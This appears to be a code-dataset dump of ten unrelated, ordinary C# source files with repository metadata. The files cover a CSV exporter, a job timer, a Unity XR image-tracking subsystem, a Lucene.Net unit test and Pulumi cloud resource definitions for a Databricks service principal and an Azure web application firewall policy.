using System; using System.Collections.Generic; using System.Data.SqlTypes; using System.IO; using System.Linq; using System.Text; namespace Jitbit.Utils { /// <summary> /// Simple CSV export /// Example: /// CsvExport myExport = new CsvExport(); /// /// myExport.AddRow(); /// myExport["Region"] = "New York, USA"; /// myExport["Sales"] = 100000; /// myExport["Date Opened"] = new DateTime(2003, 12, 31); /// /// myExport.AddRow(); /// myExport["Region"] = "Sydney \"in\" Australia"; /// myExport["Sales"] = 50000; /// myExport["Date Opened"] = new DateTime(2005, 1, 1, 9, 30, 0); /// /// Then you can do any of the following three output options: /// string myCsv = myExport.Export(); /// myExport.ExportToFile("Somefile.csv"); /// byte[] myCsvData = myExport.ExportToBytes(); /// </summary> public class CsvExport { /// <summary> /// To keep the ordered list of column names /// </summary> List<string> _fields = new List<string>(); /// <summary> /// The list of rows /// </summary> List<Dictionary<string, object>> _rows = new List<Dictionary<string, object>>(); /// <summary> /// The current row /// </summary> Dictionary<string, object> _currentRow { get { return _rows[_rows.Count - 1]; } } /// <summary> /// The string used to separate columns in the output /// </summary> private readonly string _columnSeparator; /// <summary> /// Whether to include the preamble that declares which column separator is used in the output /// </summary> private readonly bool _includeColumnSeparatorDefinitionPreamble; /// <summary> /// Initializes a new instance of the <see cref="Jitbit.Utils.CsvExport"/> class. /// </summary> /// <param name="columnSeparator"> /// The string used to separate columns in the output. /// By default this is a comma so that the generated output is a CSV file. /// </param> /// <param name="includeColumnSeparatorDefinitionPreamble"> /// Whether to include the preamble that declares which column separator is used in the output. /// By default this is <c>true</c> so that Excel can open the generated CSV /// without asking the user to specify the delimiter used in the file. /// </param> public CsvExport(string columnSeparator=",", bool includeColumnSeparatorDefinitionPreamble=true) { _columnSeparator = columnSeparator; _includeColumnSeparatorDefinitionPreamble = includeColumnSeparatorDefinitionPreamble; } /// <summary> /// Set a value on this column /// </summary> public object this[string field] { set { // Keep track of the field names, because the dictionary loses the ordering if (!_fields.Contains(field)) _fields.Add(field); _currentRow[field] = value; } } /// <summary> /// Call this before setting any fields on a row /// </summary> public void AddRow() { _rows.Add(new Dictionary<string, object>()); } /// <summary> /// Add a list of typed objects, maps object properties to CsvFields /// </summary> public void AddRows<T>(IEnumerable<T> list) { if (list.Any()) { foreach (var obj in list) { AddRow(); var values = obj.GetType().GetProperties(); foreach (var value in values) { this[value.Name] = value.GetValue(obj, null); } } } } /// <summary> /// Converts a value to how it should output in a csv file /// If it has a comma, it needs surrounding with double quotes /// Eg Sydney, Australia -> "Sydney, Australia" /// Also if it contains any double quotes ("), then they need to be replaced with quad quotes[sic] ("") /// Eg "Dangerous Dan" McGrew -> """Dangerous Dan"" McGrew" /// </summary> /// <param name="columnSeparator"> /// The string used to separate columns in the output. /// By default this is a comma so that the generated output is a CSV document. /// </param> public static string MakeValueCsvFriendly(object value, string columnSeparator=",") { if (value == null) return ""; if (value is INullable && ((INullable)value).IsNull) return ""; if (value is DateTime) { if (((DateTime)value).TimeOfDay.TotalSeconds == 0) return ((DateTime)value).ToString("yyyy-MM-dd"); return ((DateTime)value).ToString("yyyy-MM-dd HH:mm:ss"); } string output = value.ToString().Trim(); if (output.Contains(columnSeparator) || output.Contains("\"") || output.Contains("\n") || output.Contains("\r")) output = '"' + output.Replace("\"", "\"\"") + '"'; if (output.Length > 30000) //cropping value for stupid Excel { if (output.EndsWith("\"")) { output = output.Substring(0, 30000); if(output.EndsWith("\"") && !output.EndsWith("\"\"")) //rare situation when cropped line ends with a '"' output += "\""; //add another '"' to escape it output += "\""; } else output = output.Substring(0, 30000); } return output; } /// <summary> /// Outputs all rows as a CSV, returning one string at a time /// </summary> private IEnumerable<string> ExportToLines() { if (_includeColumnSeparatorDefinitionPreamble) yield return "sep=" + _columnSeparator; // The header yield return string.Join(_columnSeparator, _fields.Select(f => MakeValueCsvFriendly(f, _columnSeparator))); // The rows foreach (Dictionary<string, object> row in _rows) { foreach (string k in _fields.Where(f => !row.ContainsKey(f))) { row[k] = null; } yield return string.Join(_columnSeparator, _fields.Select(field => MakeValueCsvFriendly(row[field], _columnSeparator))); } } /// <summary> /// Output all rows as a CSV returning a string /// </summary> public string Export() { StringBuilder sb = new StringBuilder(); foreach (string line in ExportToLines()) { sb.AppendLine(line); } return sb.ToString(); } /// <summary> /// Exports to a file /// </summary> public void ExportToFile(string path) { File.WriteAllLines(path, ExportToLines(), Encoding.UTF8); } /// <summary> /// Exports as raw UTF8 bytes /// </summary> public byte[] ExportToBytes() { var data = Encoding.UTF8.GetBytes(Export()); return Encoding.UTF8.GetPreamble().Concat(data).ToArray(); } } }
31.009615
125
0.624961
[ "MIT", "Unlicense" ]
BeProduct/Export-to-CSV-File
Export-To-CSV/Helpers/CsvExport.cs
6,450
C#
namespace BackupVault.Models; public sealed class JobTimer : IDisposable { #region props private readonly Timer _timer; public Guid ID { get; init; } public TimeSpan IntervalTime { get; init; } #endregion #region events public event EventHandler<Guid> JobTimerElapsed; #endregion #region ctor public JobTimer(Guid iD, TimeSpan intervalTime) { ID = iD; IntervalTime = intervalTime; _timer = new(Internal_TimerCallback_Handler, ID, intervalTime, IntervalTime); } public void Dispose() { _timer.Change(Timeout.Infinite, Timeout.Infinite); _timer?.Dispose(); } #endregion private void Internal_TimerCallback_Handler(object state) { JobTimerElapsed?.Invoke(this, ID); } }
19.142857
85
0.654229
[ "MIT" ]
chrisforte/BackupVault
src/BackupVault.Core/Models/JobTimer.cs
806
C#
using System; using Unity.Collections; #if !UNITY_2019_2_OR_NEWER using UnityEngine.Experimental; #endif namespace UnityEngine.XR.ARSubsystems { /// <summary> /// A subsystem for detecting and tracking a preconfigured set of images in the environment. /// </summary> /// <typeparam name="XRTrackedImage">Low level data describing a tracked image.</typeparam> /// <typeparam name="XRImageTrackingSubsystemDescriptor">The descriptor used by implementations to describe the feature set of the image tracking subsystem.</typeparam> public abstract class XRImageTrackingSubsystem : TrackingSubsystem<XRTrackedImage, XRImageTrackingSubsystemDescriptor> { /// <summary> /// Constructs a subsystem. Do not invoked directly; call <c>Create</c> on the <see cref="XRImageTrackingSubsystemDescriptor"/> instead. /// </summary> public XRImageTrackingSubsystem() { m_Provider = CreateProvider(); } /// <summary> /// Starts the subsystem, that is, start detecting images in the scene. <see cref="imageLibrary"/> must not be null. /// </summary> /// <exception cref="System.InvalidOperationException">Thrown if <see cref="imageLibrary"/> is null.</exception> public override void Start() { if (m_Running) return; if (m_ImageLibrary == null) throw new InvalidOperationException("Cannot start image tracking without an image library."); m_Provider.imageLibrary = m_ImageLibrary; m_Running = true; } /// <summary> /// Stops the subsystem, that is, stops detecting and tracking images. /// </summary> public override void Stop() { if (!m_Running) return; m_Provider.imageLibrary = null; m_Running = false; } /// <summary> /// Destroys the subsystem. /// </summary> #if UNITY_2019_3_OR_NEWER protected sealed override void OnDestroy() #else public sealed override void Destroy() #endif { if (m_Running) Stop(); m_Provider.Destroy(); } /// <summary> /// Get or set the reference image library. This is the set of images to look for in the scene. /// </summary> /// <exception cref="System.ArgumentNullException"/>Thrown if the subsystem has been started, and you attempt to set the image library to null.</exception> /// <seealso cref="Start"/> /// <seealso cref="Stop"/> /// <seealso cref="XRReferenceImageLibrary"/> public XRReferenceImageLibrary imageLibrary { get { return m_ImageLibrary; } set { if (m_ImageLibrary == value) return; if (m_Running && value == null) throw new ArgumentNullException("Cannot set imageLibrary to null while subsystem is running."); m_ImageLibrary = value; // If we are running, then we want to switch the current library if (m_Running) m_Provider.imageLibrary = m_ImageLibrary; } } /// <summary> /// Retrieve the changes in the state of tracked images (added, updated, removed) since the last call to <c>GetChanges</c>. /// </summary> /// <param name="allocator">The allocator to use for the returned set of changes.</param> /// <returns>The set of tracked image changes (added, updated, removed) since the last call to this method.</returns> public override TrackableChanges<XRTrackedImage> GetChanges(Allocator allocator) { var changes = m_Provider.GetChanges(XRTrackedImage.GetDefault(), allocator); #if DEVELOPMENT_BUILD || UNITY_EDITOR m_ValidationUtility.ValidateAndDisposeIfThrown(changes); #endif return changes; } /// <summary> /// The maximum number of moving images to track. /// </summary> /// <exception cref="System.NotSupportedException"/> /// Thrown if the subsystem does not support tracking moving images. /// Check for support of this feature with <see cref="XRImageTrackingSubsystemDescriptor.supportsMovingImages"/>. /// </exception> public int maxNumberOfMovingImages { set { m_Provider.maxNumberOfMovingImages = value; } } /// <summary> /// Methods to implement by the implementing provider. /// </summary> protected class IProvider { /// <summary> /// Called when the subsystem is destroyed. /// </summary> public virtual void Destroy() {} /// <summary> /// Get the changes (added, updated, removed) to the tracked images since the last call to this method. /// </summary> /// <param name="defaultTrackedImage">An <see cref="XRTrackedImage"/> populated with default values. /// The implementation should first fill arrays of added, updated, and removed with copies of this /// before copying in its own values. This guards against addtional fields added to the <see cref="XRTrackedImage"/> in the future.</param> /// <param name="allocator">The allocator to use for the returned data.</param> /// <returns>The set of changes (added, updated, removed) tracked images since the last call to this method.</returns> public virtual TrackableChanges<XRTrackedImage> GetChanges( XRTrackedImage defaultTrackedImage, Allocator allocator) { return default(TrackableChanges<XRTrackedImage>); } /// <summary> /// Set the <see cref="XRReferenceImageLibrary"/>. Setting this to <c>null</c> implies the subsystem should stop detecting or tracking images. /// </summary> public virtual XRReferenceImageLibrary imageLibrary { set { throw new NotSupportedException("This image tracking provider does not support image libraries."); } } /// <summary> /// The maximum number of moving images to track in realtime. /// </summary> public virtual int maxNumberOfMovingImages { set { throw new NotSupportedException("This subsystem does not track moving images."); } } } /// <summary> /// Create an implementation of the <see cref="IProvider"/> class. This will only be called once. /// </summary> /// <returns>An instance of the <see cref="IProvider"/> interface.</returns> protected abstract IProvider CreateProvider(); XRReferenceImageLibrary m_ImageLibrary; IProvider m_Provider; #if DEVELOPMENT_BUILD || UNITY_EDITOR ValidationUtility<XRTrackedImage> m_ValidationUtility = new ValidationUtility<XRTrackedImage>(); #endif } }
38.581152
172
0.591939
[ "Apache-2.0" ]
BCBlanka/BeatSaber
Library/PackageCache/com.unity.xr.arsubsystems@2.1.3/Runtime/ImageTrackingSubsystem/XRImageTrackingSubsystem.cs
7,369
C#
// This code is part of the Fungus library (https://github.com/snozbot/fungus) // It is released for free under the MIT open source license (https://github.com/snozbot/fungus/blob/master/LICENSE) using UnityEngine; using UnityEngine.Assertions; namespace Fungus { /// <summary> /// Assert on 2 Fungus variable values. /// </summary> [CommandInfo("Scripting", "Assert", "Assert based on compared values.")] [AddComponentMenu("")] public class AssertCommand : Command { [SerializeField] protected StringData message; [SerializeField] [VariableProperty(AllVariableTypes.VariableAny.Any)] protected Variable a, b; public enum Method { AreEqual, AreNotEqual, } [SerializeField] protected Method method; public override void OnEnter() { switch (method) { case Method.AreEqual: Assert.AreEqual(a.GetValue(), b.GetValue()); break; case Method.AreNotEqual: Assert.AreNotEqual(a.GetValue(), b.GetValue()); break; default: break; } Continue(); } public override string GetSummary() { if (a == null) return "Error: No A variable"; if (b == null) return "Error: No B variable"; return a.Key + " " + method.ToString() + " " + b.Key; } public override bool HasReference(Variable variable) { return variable == message.stringRef || variable == a || variable == b || base.HasReference(variable); } } }
27.314286
117
0.49477
[ "Unlicense" ]
RenVoc/MindVector
MindVector/Assets/Fungus/Scripts/Commands/AssertCommand.cs
1,914
C#
using System; using DSIS.Scheme.Impl.Actions.Files; using DSIS.SimpleRunner.Data; using DSIS.Utils; namespace DSIS.SimpleRunner.Curve { public class CurveBuilderData : BuilderData, ICloneable<CurveBuilderData>, IEquatable<CurveBuilderData> { public double eps { get; set; } public double[] Point1 { get; set; } public double[] Point2 { get; set; } public CurveBuilderData() { } public CurveBuilderData(CurveBuilderData data) : base(data) { eps = data.eps; Point1 = (double[]) data.Point1.Clone(); Point2 = (double[]) data.Point2.Clone(); } public override bool Equals(object obj) { return base.Equals(obj) && (obj is CurveBuilderData && Equals(((CurveBuilderData)obj))); } public override int GetHashCode() { return base.GetHashCode(); } public bool Equals(CurveBuilderData data) { if (Equals(((BuilderData)data))) return false; if (eps != data.eps) return false; if (Point1.JoinString("|") != data.Point1.JoinString("|")) return false; if (Point2.JoinString("|") != data.Point2.JoinString("|")) return false; return true; } public override void Serialize(Logger log) { base.Serialize(log); log.Write("Eps = " + eps); log.Write("Point1 = " + Point1.JoinString(",")); log.Write("Point2 = " + Point2.JoinString(",")); } public CurveBuilderData Clone() { return new CurveBuilderData(this); } } }
24.553846
106
0.586466
[ "Apache-2.0" ]
jonnyzzz/phd-project
dsis/src/SimpleRunner/src/Curve/CurveBuilderData.cs
1,596
C#
using System; using DD4T.ContentModel.Contracts.Providers; namespace DD4T.ContentModel.Factories { public interface ITaxonomyFactory { ITaxonomyProvider TaxonomyProvider { get; set; } bool TryGetKeyword(string categoryUriToLookIn, string keywordName, out IKeyword keyword); IKeyword GetKeyword(string categoryUriToLookIn, string keywordName); } }
32.916667
98
0.736709
[ "Apache-2.0" ]
code-monkee/dynamic-delivery-4-tridion
dotnet/DD4T.ContentModel.Contracts/Factories/ITaxonomyFactory.cs
397
C#
using Lucene.Net.Support; using NUnit.Framework; using System; using System.Reflection; using Assert = Lucene.Net.TestFramework.Assert; namespace Lucene.Net.Index { /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using LuceneTestCase = Lucene.Net.Util.LuceneTestCase; [TestFixture] public class TestNoMergePolicy : LuceneTestCase { [Test] public virtual void TestNoMergePolicy_Mem() { MergePolicy mp = NoMergePolicy.NO_COMPOUND_FILES; Assert.IsNull(mp.FindMerges(/*null*/ (MergeTrigger)int.MinValue, (SegmentInfos)null)); Assert.IsNull(mp.FindForcedMerges(null, 0, null)); Assert.IsNull(mp.FindForcedDeletesMerges(null)); Assert.IsFalse(mp.UseCompoundFile(null, null)); mp.Dispose(); } [Test] public virtual void TestCompoundFiles() { Assert.IsFalse(NoMergePolicy.NO_COMPOUND_FILES.UseCompoundFile(null, null)); Assert.IsTrue(NoMergePolicy.COMPOUND_FILES.UseCompoundFile(null, null)); } [Test] public virtual void TestFinalSingleton() { assertTrue(typeof(NoMergePolicy).IsSealed); ConstructorInfo[] ctors = typeof(NoMergePolicy).GetConstructors(BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.DeclaredOnly); // LUCENENET NOTE: It seems .NET automatically adds a private static constructor, so leaving off the static BindingFlag assertEquals("expected 1 private ctor only: " + Arrays.ToString(ctors), 1, ctors.Length); assertTrue("that 1 should be private: " + ctors[0], ctors[0].IsPrivate); } [Test] public virtual void TestMethodsOverridden() { // Ensures that all methods of MergePolicy are overridden. That's important // to ensure that NoMergePolicy overrides everything, so that no unexpected // behavior/error occurs foreach (MethodInfo m in typeof(NoMergePolicy).GetMethods()) { // getDeclaredMethods() returns just those methods that are declared on // NoMergePolicy. getMethods() returns those that are visible in that // context, including ones from Object. So just filter out Object. If in // the future MergePolicy will extend a different class than Object, this // will need to change. if (m.Name.Equals("Clone", StringComparison.Ordinal)) { continue; } if (m.DeclaringType != typeof(object) && !m.IsFinal && m.IsVirtual) { Assert.IsTrue(m.DeclaringType == typeof(NoMergePolicy), m + " is not overridden ! Declaring Type: " + m.DeclaringType); } } } } }
44.305882
167
0.629846
[ "Apache-2.0" ]
10088/lucenenet
src/Lucene.Net.Tests/Index/TestNoMergePolicy.cs
3,766
C#
// *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.Databricks { /// <summary> /// Directly manage [Service Principals](https://docs.databricks.com/administration-guide/users-groups/service-principals.html) that could be added to databricks.Group within workspace. /// /// ## Related Resources /// /// The following resources are often used in the same context: /// /// * End to end workspace management guide. /// * databricks.Group to manage [groups in Databricks Workspace](https://docs.databricks.com/administration-guide/users-groups/groups.html) or [Account Console](https://accounts.cloud.databricks.com/) (for AWS deployments). /// * databricks.Group data to retrieve information about databricks.Group members, entitlements and instance profiles. /// * databricks_group_member to attach users and groups as group members. /// * databricks.Permissions to manage [access control](https://docs.databricks.com/security/access-control/index.html) in Databricks workspace. /// * databricks.SqlPermissions to manage data object access control lists in Databricks workspaces for things like tables, views, databases, and [more](https://docs.databricks. /// /// ## Import /// /// The resource scim service principal can be imported using idbash /// /// ```sh /// $ pulumi import databricks:index/servicePrincipal:ServicePrincipal me &lt;service-principal-id&gt; /// ``` /// </summary> [DatabricksResourceType("databricks:index/servicePrincipal:ServicePrincipal")] public partial class ServicePrincipal : Pulumi.CustomResource { /// <summary> /// Either service principal is active or not. True by default, but can be set to false in case of service principal deactivation with preserving service principal assets. /// </summary> [Output("active")] public Output<bool?> Active { get; private set; } = null!; /// <summary> /// Allow the service principal to have cluster create privileges. Defaults to false. More fine grained permissions could be assigned with databricks.Permissions and `cluster_id` argument. Everyone without `allow_cluster_create` argument set, but with permission to use Cluster Policy would be able to create clusters, but within the boundaries of that specific policy. /// </summary> [Output("allowClusterCreate")] public Output<bool?> AllowClusterCreate { get; private set; } = null!; /// <summary> /// Allow the service principal to have instance pool create privileges. Defaults to false. More fine grained permissions could be assigned with databricks.Permissions and instance_pool_id argument. /// </summary> [Output("allowInstancePoolCreate")] public Output<bool?> AllowInstancePoolCreate { get; private set; } = null!; /// <summary> /// This is the application id of the given service principal and will be their form of access and identity. On other clouds than Azure this value is auto-generated. /// </summary> [Output("applicationId")] public Output<string> ApplicationId { get; private set; } = null!; /// <summary> /// This is a field to allow the group to have access to [Databricks SQL](https://databricks.com/product/databricks-sql) feature through databricks_sql_endpoint. /// </summary> [Output("databricksSqlAccess")] public Output<bool?> DatabricksSqlAccess { get; private set; } = null!; /// <summary> /// This is an alias for the service principal and can be the full name of the service principal. /// </summary> [Output("displayName")] public Output<string> DisplayName { get; private set; } = null!; /// <summary> /// This is a field to allow the group to have access to Databricks Workspace. /// </summary> [Output("workspaceAccess")] public Output<bool?> WorkspaceAccess { get; private set; } = null!; /// <summary> /// Create a ServicePrincipal resource with the given unique name, arguments, and options. /// </summary> /// /// <param name="name">The unique name of the resource</param> /// <param name="args">The arguments used to populate this resource's properties</param> /// <param name="options">A bag of options that control this resource's behavior</param> public ServicePrincipal(string name, ServicePrincipalArgs? args = null, CustomResourceOptions? options = null) : base("databricks:index/servicePrincipal:ServicePrincipal", name, args ?? new ServicePrincipalArgs(), MakeResourceOptions(options, "")) { } private ServicePrincipal(string name, Input<string> id, ServicePrincipalState? state = null, CustomResourceOptions? options = null) : base("databricks:index/servicePrincipal:ServicePrincipal", name, state, MakeResourceOptions(options, id)) { } private static CustomResourceOptions MakeResourceOptions(CustomResourceOptions? options, Input<string>? id) { var defaultOptions = new CustomResourceOptions { Version = Utilities.Version, }; var merged = CustomResourceOptions.Merge(defaultOptions, options); // Override the ID if one was specified for consistency with other language SDKs. merged.Id = id ?? merged.Id; return merged; } /// <summary> /// Get an existing ServicePrincipal resource's state with the given name, ID, and optional extra /// properties used to qualify the lookup. /// </summary> /// /// <param name="name">The unique name of the resulting resource.</param> /// <param name="id">The unique provider ID of the resource to lookup.</param> /// <param name="state">Any extra arguments used during the lookup.</param> /// <param name="options">A bag of options that control this resource's behavior</param> public static ServicePrincipal Get(string name, Input<string> id, ServicePrincipalState? state = null, CustomResourceOptions? options = null) { return new ServicePrincipal(name, id, state, options); } } public sealed class ServicePrincipalArgs : Pulumi.ResourceArgs { /// <summary> /// Either service principal is active or not. True by default, but can be set to false in case of service principal deactivation with preserving service principal assets. /// </summary> [Input("active")] public Input<bool>? Active { get; set; } /// <summary> /// Allow the service principal to have cluster create privileges. Defaults to false. More fine grained permissions could be assigned with databricks.Permissions and `cluster_id` argument. Everyone without `allow_cluster_create` argument set, but with permission to use Cluster Policy would be able to create clusters, but within the boundaries of that specific policy. /// </summary> [Input("allowClusterCreate")] public Input<bool>? AllowClusterCreate { get; set; } /// <summary> /// Allow the service principal to have instance pool create privileges. Defaults to false. More fine grained permissions could be assigned with databricks.Permissions and instance_pool_id argument. /// </summary> [Input("allowInstancePoolCreate")] public Input<bool>? AllowInstancePoolCreate { get; set; } /// <summary> /// This is the application id of the given service principal and will be their form of access and identity. On other clouds than Azure this value is auto-generated. /// </summary> [Input("applicationId")] public Input<string>? ApplicationId { get; set; } /// <summary> /// This is a field to allow the group to have access to [Databricks SQL](https://databricks.com/product/databricks-sql) feature through databricks_sql_endpoint. /// </summary> [Input("databricksSqlAccess")] public Input<bool>? DatabricksSqlAccess { get; set; } /// <summary> /// This is an alias for the service principal and can be the full name of the service principal. /// </summary> [Input("displayName")] public Input<string>? DisplayName { get; set; } /// <summary> /// This is a field to allow the group to have access to Databricks Workspace. /// </summary> [Input("workspaceAccess")] public Input<bool>? WorkspaceAccess { get; set; } public ServicePrincipalArgs() { } } public sealed class ServicePrincipalState : Pulumi.ResourceArgs { /// <summary> /// Either service principal is active or not. True by default, but can be set to false in case of service principal deactivation with preserving service principal assets. /// </summary> [Input("active")] public Input<bool>? Active { get; set; } /// <summary> /// Allow the service principal to have cluster create privileges. Defaults to false. More fine grained permissions could be assigned with databricks.Permissions and `cluster_id` argument. Everyone without `allow_cluster_create` argument set, but with permission to use Cluster Policy would be able to create clusters, but within the boundaries of that specific policy. /// </summary> [Input("allowClusterCreate")] public Input<bool>? AllowClusterCreate { get; set; } /// <summary> /// Allow the service principal to have instance pool create privileges. Defaults to false. More fine grained permissions could be assigned with databricks.Permissions and instance_pool_id argument. /// </summary> [Input("allowInstancePoolCreate")] public Input<bool>? AllowInstancePoolCreate { get; set; } /// <summary> /// This is the application id of the given service principal and will be their form of access and identity. On other clouds than Azure this value is auto-generated. /// </summary> [Input("applicationId")] public Input<string>? ApplicationId { get; set; } /// <summary> /// This is a field to allow the group to have access to [Databricks SQL](https://databricks.com/product/databricks-sql) feature through databricks_sql_endpoint. /// </summary> [Input("databricksSqlAccess")] public Input<bool>? DatabricksSqlAccess { get; set; } /// <summary> /// This is an alias for the service principal and can be the full name of the service principal. /// </summary> [Input("displayName")] public Input<string>? DisplayName { get; set; } /// <summary> /// This is a field to allow the group to have access to Databricks Workspace. /// </summary> [Input("workspaceAccess")] public Input<bool>? WorkspaceAccess { get; set; } public ServicePrincipalState() { } } }
51.909502
377
0.663529
[ "ECL-2.0", "Apache-2.0" ]
pulumi/pulumi-databricks
sdk/dotnet/ServicePrincipal.cs
11,472
C#
using Microsoft.AspNetCore.Mvc; using System.Linq; using System.Threading.Tasks; public class BookController : Controller { private readonly AzureStorageRepository _repository; public BookController(AzureStorageRepository repository) { _repository = repository; } public ActionResult Index() { var books = _repository.GetBooksFromAzureStorage() .AsQueryable() .Select( b => new BookViewModel { Id = b.PartitionKey, Name = b.RowKey }) .OrderByDescending(b => b.Id) .ToList(); return View(books); } }
23.793103
60
0.566667
[ "MIT" ]
PacktPublishing/ASP.NET-MVC-Core-2.0-Cookbook
Chapter07/3-DataAccessWithMicroOrmAzureStorageTable/Controllers/BookController.cs
690
C#
// *** WARNING: this file was generated by the Pulumi SDK Generator. *** // *** Do not edit by hand unless you're certain you know what you are doing! *** using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Threading.Tasks; using Pulumi.Serialization; namespace Pulumi.AzureNextGen.Network.V20200801 { /// <summary> /// Defines web application firewall policy. /// </summary> [AzureNextGenResourceType("azure-nextgen:network/v20200801:WebApplicationFirewallPolicy")] public partial class WebApplicationFirewallPolicy : Pulumi.CustomResource { /// <summary> /// A collection of references to application gateways. /// </summary> [Output("applicationGateways")] public Output<ImmutableArray<Outputs.ApplicationGatewayResponse>> ApplicationGateways { get; private set; } = null!; /// <summary> /// The custom rules inside the policy. /// </summary> [Output("customRules")] public Output<ImmutableArray<Outputs.WebApplicationFirewallCustomRuleResponse>> CustomRules { get; private set; } = null!; /// <summary> /// A unique read-only string that changes whenever the resource is updated. /// </summary> [Output("etag")] public Output<string> Etag { get; private set; } = null!; /// <summary> /// A collection of references to application gateway http listeners. /// </summary> [Output("httpListeners")] public Output<ImmutableArray<Outputs.SubResourceResponse>> HttpListeners { get; private set; } = null!; /// <summary> /// Resource location. /// </summary> [Output("location")] public Output<string?> Location { get; private set; } = null!; /// <summary> /// Describes the managedRules structure. /// </summary> [Output("managedRules")] public Output<Outputs.ManagedRulesDefinitionResponse> ManagedRules { get; private set; } = null!; /// <summary> /// Resource name. /// </summary> [Output("name")] public Output<string> Name { get; private set; } = null!; /// <summary> /// A collection of references to application gateway path rules. /// </summary> [Output("pathBasedRules")] public Output<ImmutableArray<Outputs.SubResourceResponse>> PathBasedRules { get; private set; } = null!; /// <summary> /// The PolicySettings for policy. /// </summary> [Output("policySettings")] public Output<Outputs.PolicySettingsResponse?> PolicySettings { get; private set; } = null!; /// <summary> /// The provisioning state of the web application firewall policy resource. /// </summary> [Output("provisioningState")] public Output<string> ProvisioningState { get; private set; } = null!; /// <summary> /// Resource status of the policy. /// </summary> [Output("resourceState")] public Output<string> ResourceState { get; private set; } = null!; /// <summary> /// Resource tags. /// </summary> [Output("tags")] public Output<ImmutableDictionary<string, string>?> Tags { get; private set; } = null!; /// <summary> /// Resource type. /// </summary> [Output("type")] public Output<string> Type { get; private set; } = null!; /// <summary> /// Create a WebApplicationFirewallPolicy resource with the given unique name, arguments, and options. /// </summary> /// /// <param name="name">The unique name of the resource</param> /// <param name="args">The arguments used to populate this resource's properties</param> /// <param name="options">A bag of options that control this resource's behavior</param> public WebApplicationFirewallPolicy(string name, WebApplicationFirewallPolicyArgs args, CustomResourceOptions? options = null) : base("azure-nextgen:network/v20200801:WebApplicationFirewallPolicy", name, args ?? new WebApplicationFirewallPolicyArgs(), MakeResourceOptions(options, "")) { } private WebApplicationFirewallPolicy(string name, Input<string> id, CustomResourceOptions? options = null) : base("azure-nextgen:network/v20200801:WebApplicationFirewallPolicy", name, null, MakeResourceOptions(options, id)) { } private static CustomResourceOptions MakeResourceOptions(CustomResourceOptions? options, Input<string>? id) { var defaultOptions = new CustomResourceOptions { Version = Utilities.Version, Aliases = { new Pulumi.Alias { Type = "azure-nextgen:network:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/latest:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20181201:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190201:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190401:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190601:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190701:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190801:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20190901:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20191101:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20191201:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200301:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200401:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200501:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200601:WebApplicationFirewallPolicy"}, new Pulumi.Alias { Type = "azure-nextgen:network/v20200701:WebApplicationFirewallPolicy"}, }, }; var merged = CustomResourceOptions.Merge(defaultOptions, options); // Override the ID if one was specified for consistency with other language SDKs. merged.Id = id ?? merged.Id; return merged; } /// <summary> /// Get an existing WebApplicationFirewallPolicy resource's state with the given name, ID, and optional extra /// properties used to qualify the lookup. /// </summary> /// /// <param name="name">The unique name of the resulting resource.</param> /// <param name="id">The unique provider ID of the resource to lookup.</param> /// <param name="options">A bag of options that control this resource's behavior</param> public static WebApplicationFirewallPolicy Get(string name, Input<string> id, CustomResourceOptions? options = null) { return new WebApplicationFirewallPolicy(name, id, options); } } public sealed class WebApplicationFirewallPolicyArgs : Pulumi.ResourceArgs { [Input("customRules")] private InputList<Inputs.WebApplicationFirewallCustomRuleArgs>? _customRules; /// <summary> /// The custom rules inside the policy. /// </summary> public InputList<Inputs.WebApplicationFirewallCustomRuleArgs> CustomRules { get => _customRules ?? (_customRules = new InputList<Inputs.WebApplicationFirewallCustomRuleArgs>()); set => _customRules = value; } /// <summary> /// Resource ID. /// </summary> [Input("id")] public Input<string>? Id { get; set; } /// <summary> /// Resource location. /// </summary> [Input("location")] public Input<string>? Location { get; set; } /// <summary> /// Describes the managedRules structure. /// </summary> [Input("managedRules", required: true)] public Input<Inputs.ManagedRulesDefinitionArgs> ManagedRules { get; set; } = null!; /// <summary> /// The name of the policy. /// </summary> [Input("policyName")] public Input<string>? PolicyName { get; set; } /// <summary> /// The PolicySettings for policy. /// </summary> [Input("policySettings")] public Input<Inputs.PolicySettingsArgs>? PolicySettings { get; set; } /// <summary> /// The name of the resource group. /// </summary> [Input("resourceGroupName", required: true)] public Input<string> ResourceGroupName { get; set; } = null!; [Input("tags")] private InputMap<string>? _tags; /// <summary> /// Resource tags. /// </summary> public InputMap<string> Tags { get => _tags ?? (_tags = new InputMap<string>()); set => _tags = value; } public WebApplicationFirewallPolicyArgs() { } } }
42.786667
170
0.612236
[ "Apache-2.0" ]
